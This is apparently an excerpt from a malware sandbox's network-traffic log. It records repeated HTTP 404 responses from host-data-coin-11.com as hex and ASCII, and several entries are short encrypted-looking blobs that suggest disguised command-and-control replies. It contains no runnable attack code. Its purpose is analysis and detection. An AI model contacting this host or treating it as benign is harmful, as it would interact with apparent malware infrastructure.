Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 08:14:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 08:14:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 08:14:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 14 f9 aa 89 ff a2 1e b7 08 93 31 f9 55 50 99 4a f7 e0 25 e5 39 1a 48 ec a0 8a 70 bc 57 da 4a d4 f6 2e 87 25 eb c3 94 58 23 e3 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OU&1UPJ%9HpWJ.%X#c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 08:14:09 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 08:14:09 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 08:14:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 14 f9 aa 89 ff a2 1e b7 08 93 31 f9 55 50 99 4a f6 e8 24 e5 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OU&1UPJ$dP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 08:14:12 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 08:14:12 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 08:14:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 b2 83 bd a6 0b a2 13 cc 7b b8 43 12 c3 55 a1 b9 67 e3 25 58 51 b8 f6 cb 41 e1 0e 88 16 95 e1 63 da 7d b3 ef d2 01 79 e5 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OOj{CUg%XQAc}yc0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 08:14:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 08:14:17 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 08:14:18 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 14 f9 aa 89 ff a2 1e b7 08 93 31 f9 55 50 99 4a f7 e0 25 e5 39 1a 4a ed ac 8e 70 bc 57 da 4a d6 f7 22 81 20 ea c3 96 53 28 ef a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OU&1UPJ%9JpWJ" S(c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 08:14:26 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 08:14:27 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 08:14:27 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 